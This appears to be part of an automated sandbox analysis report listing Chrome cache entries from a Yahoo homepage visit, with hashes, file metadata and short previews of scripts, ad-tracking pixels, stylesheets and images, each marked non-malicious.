File Type:	data
Category:	downloaded
Size (bytes):	22980
Entropy (8bit):	5.377678996534159
Encrypted:	false
SSDEEP:	384:xEXKTyWhZWsscgltyBvH/hl3KF6IrQSTC7L5GziTm04FFKrI+7G+mCYBTg01:+ypgzyBf/hdKFxrQSTI5GziiBFFgIEGB
MD5:	008CBC7A6FA2B266BFAAF8ED0ECE3960
SHA1:	5E05EE949943DF0AF2559FAC9D013C5FDA082527
SHA-256:	1052A8DEF8E290AA7FD167EE28219AC019152EF1E740F0BF462A0CB215A385EF
SHA-512:	902DA4F15E0633B668F50EEAD9083AC054E7696E1D2A0D8268FAD912E8344C45C0E6E038053B6CD16DEFD4C98CE1D14555EB70E95F3A0F054434D02779282F62
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/service-worker.js
Preview:	/* version: 1.1.52 */.!function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function t(t){for(var n=1;n<arguments.length;n++){var r=null!=arguments[n]?arguments[n]:{};n%2?e(Object(r),!0).forEach((function(e){i(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):e(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function n(e,t,n,r,i,a,o){try{var c=e[a](o),s=c.value}catch(e){return void n(e)}c.done?t(s):Promise.resolve(s).then(r,i)}function r(e){return function(){var t=this,r=arguments;return new Promise((function(i,a){var o=e.apply(t,r);function c(e){n(o,i,a,c,s,"next",e)}function s(e){n(o,i,a,c,s,"throw",e)}c(void 0)}))}}function i(e,t,n){return(t=function(e){var t=function(e,t){if(

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1527
Entropy (8bit):	5.25099773756618
Encrypted:	false
SSDEEP:	24:Yh0Z9NoV+DgPGsdfGsFDN/qF/N/W5icpC8xRVVtTljQNGx+q3gQB+Vg4Ybn/Q5QX:Yy9NocDgPGWfGeN/qZN/iiwZjn9gg+Vm
MD5:	185924D6328C900F0F71536313A50D93
SHA1:	B9DA0D350F3C1B9CA91AEAB91025F5A18898888C
SHA-256:	F9261877FF2B9D5BA7CD3D821DAD969C17E8F83801821F5156DD3DB7941464D5
SHA-512:	7D8EB13228F3BC6297AFA5F0620311C50CBB5CC932A526FFE94FB7BF281120530749ACF175A33F2CBC3E260F4AFD9520447154A67CB39A5AD3B8358F3CF9F1EE
Malicious:	false
Reputation:	low
Preview:	{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.Shopping.atomic.ltr.d156b541c028fe7d3167b101d15500f6.min.css","name":"react-wafer-shopping.Shopping.atomic"}],"js":[{"location":"bottom","value":"/aaq/wf/wf-core-1.65.0-modern.js","name":"wafer-core","version":"1.65.0"},{"location":"bottom","value":"/aaq/wf/wf-fetch-1.19.1-modern.js","name":"wafer-fetch","version":"1.19.1"}]},"data":{},"html":"<div class=\"wafer-fetch Pos(r)\" id=\"commerce-module-container\" data-wf-body=\"{"config.cpos":18,"config.enableUserIntent":false,"config.hiddenCount":2,"config.listId":"142c3121-f125-4773-aaf3-3bc2a9c826f1","config.openLinksInNewTab":false,"config.pageContext":"","config.productListId":"6be44312-a3bc-4c63-891c-d06e455285fc","config.renderShoppingProducts&qu

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	42095
Entropy (8bit):	7.972433550229049
Encrypted:	false
SSDEEP:	768:vNpAp8BwyNtFI1K4yfwzE6H/w9L26IKMltx/6Xkb8nz1vqg6dw2:vNpF+atFI1pwI/U266z/6Xhnz8dR
MD5:	87219E4C9920675E0289F0CF73034D98
SHA1:	4D5A18DB46A7AD414CA1428E6921FF25528C7E75
SHA-256:	3C42528C2DBEDAA7273F1AF8B743B6505F55CDC7A2CD9DD82F30C8F7C3FC7ADB
SHA-512:	3CE0EFE51262EC725111D937028539A3FFC3B3884D2A57A825BBDCA0ACE583BD29C4D7CC094C60F9545CE85825B92A0FBB50F9D1546FFE834FC89813CB272A14
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................W..........................!1..AQa."2q..B...#R...3.....$6Cbrs...%4Dct..5Sv...&8Td..(V..................................0........................!1...A.#3."2Q$a4.BCR.q............?..U@.:...}...z...a.Y...5.'.3F7.:.........'=.MJ%......OD...j...x.....&...y.....L...B...0s..h...t..9Q...o....._.Q...q...a.%.gy.r.D..E.-.tn.R...).$.4X.7.ONj..<Q.'.x..... .n`.S\|..<:..od.^x.p@4.l...}..KR..Nmp.....V.".x.l....?(..s.R......NU..i...TV..K.m.lNq.......I.&[.;b.2].rH/)..g8..}iZ+."...&...J...W......E....R...>O<...%BE89...Sw.b.F..j.6.7.8...PU.jp.J.....N.!3.......>u(k$Xr.t...^..F..{h[J.3..l.....-..1.RA.J.Qh{.V3.H...k.#.?......p..#..aO.M!.@BEC.......^..I...H..r.yk.:.G...JJ....vS..;.....L..6...r.O-..*n.]l..XG#9..9.....i...7F.t'...!T.@...![j....].....H.m..S.B%2\.W-...=.s.S.y%D.go9

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1663
Entropy (8bit):	5.182682662087708
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGltuNlAaGuGGuNgIGKh3En+UhJOISPOBa4xMDaKKWSyFzNIM:DJGSdQMH2N02Eg7JnIuK7cs
MD5:	7F012DED545E2C7D9157810048C3FC2A
SHA1:	A40776C20B3C4085709E70BA84C3A82D6F4B1C6E
SHA-256:	7518541791F33A6B2A9CE6CBFAA7E8CB07A664B8AE5C206C8A5F58FD4E2C2388
SHA-512:	19C6297C4843F759B46509FB95BFB861D59A30ABBD2165FAEA73336D3AEC2AB8D7D28A689C32839AE66BBF834B05A8768729265924041AD9C59EE7C5A5AEE823
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/THUNDERSTORMS.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <linearGradient x1="96.228%" y1="100%" x2="3.772%" y2="0%" id="c">. <stop stop-opacity="0" offset="0%"/>. <stop stop-opacity=".5" offset="99.926%"/>. </linearGradient>. <linearGradient x1="33.396%" y1="0%" x2="33.396%" y2="90.323%" id="d">. <stop stop-color="#FFDE00" offset="0%"/>. <stop stop-color="#FFDE00" offset="48.52%"/>. <stop stop-color="#FFAD57" offset="100%"/>. </linearGradient>. <path d="M25.418.006a13.999 13.999 0 00-13.3 12.217A9.221 9.221 0 005 13.463a10.178 10.178 0 00-4.9 7.159A9.616 9.616 0 00.7 25.6 4 4 0 004.36 28H26a14 14 0 0013.999-14.237C39.769 5.94 33.243-.218 25.418.0

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/px.gif?ch=2&rn=1.9185749898548843
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2074), with no line terminators
Category:	downloaded
Size (bytes):	2074
Entropy (8bit):	5.260719431857589
Encrypted:	false
SSDEEP:	48:CEUG4rNVxugJTY7rRKLNqpH7q7HwDOq7br2yOuQ6qh:CdrNV0gVWvbq7eOq72yOdh
MD5:	93D5BB91C9A48C4EDBC164A65354B00C
SHA1:	EA8D8A5F20B4061A7581135B465F7D81F431390C
SHA-256:	E17075CF2F747253CB3C737891BE0F417B8F4330DDAB9D53013BDD4EBCA568EE
SHA-512:	3F0F5D520F75A443304ED277F73F050698029942A1A01B9B65A8F0D38846B7DFA04D126685A75436BC3534D94DD0C9B1BCCC6DB2C628C58FF74453FA92FD9D22
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/scripts/ifs.js
Preview:	!function(){var n="tsdtocl",e="!-#@",t="ul",i="https:",o=atob("aHR0cHM6Ly90c2R0b2NsLmNvbQ=="),r={},a=i,d=-1,c,u;try{var s=function n(e){r[e.id]&&(r[e.id](e),delete r[e.id])},w=function e(t){var i;try{i=JSON.parse(t.data)}catch(n){}i&&i.namespace===n&&s(i)},f=function e(t,i,o,a){if(c){r[++d]=a;var u={namespace:n,id:d,action:t,key:i,value:o};return c&&c.contentWindow&&c.contentWindow.postMessage(JSON.stringify(u),"*"),u}},l=function n(e){for(var t="".concat(e,"="),i=document.cookie.split(";"),o=0;o<i.length;o++){for(var r=i[o];" "===r.charAt(0);)r=r.substring(1);if(0===r.indexOf(t))return r.substring(t.length,r.length)}return""},g=function n(e,t,i){return f("append",e,t,i)},p=function n(t){if(t&&"string"==typeof t&&-1!==t.indexOf(e)){var i=new Image;return i.src="".concat(a,"//trc.taboola.com/sg/taboola-ifs/1/um/?uils=").concat(encodeURIComponent(t)),i}},m=function n(e){if(e&&e.success){if(e.wasAppended&&e.value)return p(e.value)}else window.__trcDebug&&window.__trcDebug("ifsDebug=".conc

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive/check?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12647), with no line terminators
Category:	downloaded
Size (bytes):	12647
Entropy (8bit):	5.207766081943398
Encrypted:	false
SSDEEP:	384:3iuQlq2TtwcbFesZ9+KnosE+wTzWTLxXUJsI5vxU8ZW:Shl1bFesZ9+KbTdE37U8ZW
MD5:	EA64A20375ABF74F7191D89062A7D4F4
SHA1:	C9BDEFA03E2D67328C222300AF7D588ADC045B11
SHA-256:	EE6AC88FCDDA8E39410E1E291495B9F5ADEB2EC3E95069FB4D50964093DE53A9
SHA-512:	C7D7C92942CCA382C7CF3CF968CA60044058EA33350DF765CE149F730E1D03028F352403B4BCA4F9AB69B7020E2AAF4171F14879BA7D468CD25B9778896B0133
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-rapid-1.10.8-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-rapid",[],t):"object"==typeof exports?exports["wafer-rapid"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-rapid"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2402), with no line terminators
Category:	downloaded
Size (bytes):	2402
Entropy (8bit):	5.746347814524562
Encrypted:	false
SSDEEP:	48:C2BqZjOSCY7CndS7XP7q2BqPZ2BqhybCa7uS5B7f/5CSy7fhydNnq/53:C2BqZj5CY7Cn47XP7q2BqPZ2BqhybCau
MD5:	73D17502C5B77F129C238B906161296E
SHA1:	BDFE7592DCF49F29EA152DE8EBE9610482AEECEE
SHA-256:	533F19E5236B0D013EB48DE3B73B8E833911E32D4ACE2882B69D56A530049A5A
SHA-512:	64C38D5685BD34AF597310ECB70F1ACBF51673F84C74FD408A4292AD823DB1819707AA6CBE56873997AEDAAD75C0D5331774F0D146794269C49D29DEC4779C12
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=45333149&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=7ntZ_p2vQV2pPHr0gCDdew%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.loadAsyncImagePixel('https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&rnd=RND');PubMatic.loadAsyncImagePixel('https://eb2.3lift.com/xuid?mid=7976&xuid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&dongle=u6nf&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=RUU3QjU5RkUtOURBRi00MTVELUE5M0MtN0FGNDgwMjBERDdC&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&go

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7971), with no line terminators
Category:	downloaded
Size (bytes):	7971
Entropy (8bit):	5.315858022597701
Encrypted:	false
SSDEEP:	96:V5/60PYKmMuMhvkI2hasDAm2dhdlsjK0kEyF8:V5/dQBMhvn2h8TDQVkg
MD5:	1351353CF8129012A686E519608812D5
SHA1:	8172C8884CB116382CF53BAD5D8354032BCD6DBF
SHA-256:	7ABD2AEADBBE862C7F1FE58FDC02C86AB970E1A819162A06B6DC3C0484221895
SHA-512:	CCE83A99B5366D6E1B7CD60E8BD233C5CAF6B46FD34AB10B48425D3148D614EC5A662C6427C2A65A64C314453F00117D4E42D9D463B09A1ED718D10A03C3D147
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.1351353cf8129012a686e519608812d5.min.css
Preview:	#atomic .Ai$c${align-items:center}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bdc$--marshmallow${border-color:#f5f8fa;border-color:var(--marshmallow)}#atomic .Bdendc$--hulk-pants${border-right-color:#7e1fff;border-right-color:var(--hulk-pants)}.tabActive .tabActive_Bdbc$--grape-jelly${border-bottom-color:#6001d2!important;border-bottom-color:var(--grape-jelly)!important}#atomic .Bds$s${border-style:solid}#atomic .Bdends$s${border-right-style:solid}.tabActive .tabActive_Bdbs$s${border-bottom-style:solid!important}#atomic .Bdw$0px${border-width:0}#atomic .Bdw$1px${border-width:1px}#atomic .Bdendw$6px${border-right-width:6px}#atomic .Bdendw$8px${border-right-width:8px}.tabActive .tabActive_Bdbw$4px${border-bottom-width:4px!important}#atomic .Bdrs$18px${border-radius:18px}#atomic .Bdrs$2px${border-radius:2px}#atomic .Bdrs$32px${border-radius:32px}#atomic .Bdrs$50px${border-radius:50px}#atomic .Bdrs$8px${b

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (608), with no line terminators
Category:	downloaded
Size (bytes):	608
Entropy (8bit):	5.488990852015486
Encrypted:	false
SSDEEP:	12:T6/qBzU9Z2PXhR4Culo+1ORdmxFRO31GYc0q1nwO4Sj0F+01V:2BMJpuadP1GYcT1nV4gNY
MD5:	C3F67E7D1CA8F06BA21D0AFD1538D45E
SHA1:	0F96AAAC9FADBF3422C3A9F0B6E8B47D16DCFEB5
SHA-256:	6F7C869D4AAFFB972E43982A6665CED1258EC9DFE16F1BFA12A717EA7617E50A
SHA-512:	4D37ED9DA21DE5EAFFA3F248A8A2F7EBBDAFC95808DECF0E1663B3458D8A8AE1FC18AF50D79EFECC1B18763B4FB97CC1F04684C24602AFE61AF45220D6B9235A
Malicious:	false
Reputation:	low
URL:	https://tps.doubleverify.com/visit.js?gdpr=&gdpr_consent=&flvr=0&ttmms=1447&ttfrms=32&brid=3&brver=117.0.0.0&bridua=3&bds=1&tstype=128&eparams=DC4FC%3Dl9EEADTbpTauTauHHH%5DJ29%40%40%5D4%40%3ETauU2%3F4r92%3A%3Fl9EEADTbpTauTauHHH%5DJ29%40%40%5D4%40%3ETar9EEADTbpTauTaufcbege_23c7a7754gc_b35g6bbd43d%604%5DD2767C2%3E6%5D8%40%408%3D6DJ%3F5%3A42E%3A%40%3F%5D4%40%3ETar9EEADTbpTauTaufcbege_23c7a7754gc_b35g6bbd43d%604%5DD2767C2%3E6%5D8%40%408%3D6DJ%3F5%3A42E%3A%40%3F%5D4%40%3ETar23%40FETbpTauTau&srcurlD=0&aUrlD=0&ssl=https:&dfs=1053&ddur=2337&uid=1714257734970587&jsCallback=dvCallback_1714257734970223&dvtagver=6.1.src&navUa=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&htmlmsging=1&chro=1&hist=1&winh=250&winw=300&wouh=984&wouw=1280&scah=984&scaw=1280&jsver=5877&tgjsver=5877&lvvn=28&m1=15&refD=3&referrer=about%3Asrcdoc&sfe=1&fcifrms=25&brh=1&dvp_epl=347&noc=4&nav_pltfrm=Win32&ctx=31263374&cmp=31278923&sid=7916392&plc=386942594&crt=212924006&btreg=583281444&btadsrv=doubleclick&adsrv=1&advid=13690149&errorURL=https://tps.doubleverify.com/visit.jpg&mib=0&dvp_rcp=2&dvp_htec=1&dvp_seem=2&dvp_tuk=1&dvp_sukv=9129880419.027082&ee_dp_sukv=9129880419.027082&dvp_tukv=9396794173.229883&ee_dp_tukv=9396794173.229883&dvp_strhd=1.6000000000058208&dvpx_strhd=1.6000000000058208&dvp_tuid=1637118949809&jurtd=2100071285
Preview:	try{var dv_win = window._dv_win \|\| window.parent._dv_win; dv_win['dvCallback_1714257734970223']($dv,window,'2149dbd17c2449a6bf8e3a9340307275','tpsc-ue1.doubleverify.com',{"ce":{"ddt":1,"dt":1}});}catch(e){try{var image=window.document.createElement('img');image.src=('https://tps.doubleverify.com/visit.jpg'\|\|(window.location.protocol+'//tps30.doubleverify.com/visit.jpg'))+'?ctx=818052&cmp=1619415&dvtagver=6.1.src&dvp_cbError='+encodeURIComponent(e.message)}catch(e){}}$dv.tags[$uid].set({"bgm":1});try{$dv.pubSub.publish('ImpressionServed', $uid);$dv.pubSub.publish('ImpressionServed', $frmId);}catch(e){}

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.496574330097901
Encrypted:	false
SSDEEP:	3:C/2A3njBWk9JyiA:C/nXjB7A
MD5:	1B177A4068E01AC77B85B091C87251BD
SHA1:	EA7A08A7C139D4A7512B6BAAB5AAC4A3E288B255
SHA-256:	F77F47058428A1C21DAD5A75AC13FBFDEB9858947218FEE2112FDED5972A0B5D
SHA-512:	6E6D693775AA9C94540D0CA0549C98446048189D49A3716895F62C3EFE3893F0B28FEDACDCD46394782B7972D0B981E87EA291E76EF2490258FCABA2A0906D92
Malicious:	false
Reputation:	low
URL:	https://gum.criteo.com/sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId
Preview:	window.advBidxc.mnetRtusId({"status":"Unknown","userid":""});

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	5.0439833037615625
Encrypted:	false
SSDEEP:	3:YEOBHt7Jn4jdJI1gVG04:YEOByd7VM
MD5:	E35DEED9D1BE6398805343E00DEA4EDE
SHA1:	3478B7DF79F3D6E0DAAE651483A6445686172766
SHA-256:	32D927C58F10A8A588500AD2C96561EA4051F277D45090E4626C1119C42C48ED
SHA-512:	8F44C83835C661FA3B97C1DE05C7197D8E218F1046AD812F43088F32FEA0DADBA57AFAF4856D97D3E7C032C3FD0D72EC4395E38F7A0E0B9C6C214437963BAAAE
Malicious:	false
Reputation:	low
Preview:	{"axid": "eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B"}

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=gumgum
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	175
Entropy (8bit):	4.660001480021975
Encrypted:	false
SSDEEP:	3:0YEcA3FLVQuR7TmxS5pEOWoJCK3CJ3EcA3FLWbVkuX4t:bEcAB3yx+pEOJOEcABWbVkp
MD5:	CDD5050BA6288DF47182412E30E482A4
SHA1:	19D881F9D478DE895E602D6A908D9A3621160ECC
SHA-256:	0C4BAFD7F8E2A0C485CB3715F666EE47980FE1E22A7FDCCC84D213A13C058E26
SHA-512:	86AA7CCE16D0DC82BF7155D0C11911058E78F77D640F183E681220E71AEF7314D3AE7DAA78AC4728E37E3E011AA5010A9AAA3266A4D85FCDE3D88FC872B41C66
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-games.games-mini.cdd5050ba6288df47182412e30e482a4.css
Preview:	.games-tabs-scrollview .prev-btn[disabled]{display:none}#atomic .games-tabs>button:last-child{margin-right:10px}.games-tabs-scrollview .slides::-webkit-scrollbar{display:none}

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	465016
Entropy (8bit):	5.532682458489308
Encrypted:	false
SSDEEP:	12288:HTYGYojV6LYHyllf53YGY2jaxY8ymlKTfYtYVjtHYuYUjV7YGYojqwHYzYzjny3g:tcZ0Yy3Ec+L
MD5:	4D189C43B1C01BB3402CC32350FFA30A
SHA1:	D81EFA4448AE7201FD8FA447C798E8D1F13BE033
SHA-256:	70C2F57E26024921A4DB1498ECEF06BEA0A2261262A7BD8DC223BB1C46377F08
SHA-512:	2E475FA1687ED4FB1564948324ACA2A4C179480C7C0CC906FB87A802D6A18E5CE8A23F99AEF4607588DE0C3E4B570D94DBD32B60900E72B22F949B52231D96B3
Malicious:	false
Reputation:	low
URL:	"https://www.yahoo.com/caas/content/article/?uuid=99ec3df7-bf20-382a-9567-4240d7a85639,1d8f0ccd-1e4a-4558-81b8-7a3f9ddb44e8,55689e67-d5f8-30ea-8394-04902959b16f,a78cb2ab-498a-3f34-85ea-fa9feb4c02de,fd248489-9443-4693-9a9f-1c2336eb0e64,0056d40c-adda-3e16-82e7-435111b2ce12,2bf7856d-e1c9-3e74-9cdd-f9756173199a,36e16f65-51ee-3a9e-9d88-5adf2e3b7907,f0f95b59-a002-3ce2-a2f9-69bfafbf114c,dde82b60-8c41-344d-a437-7422cb916f0b&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableF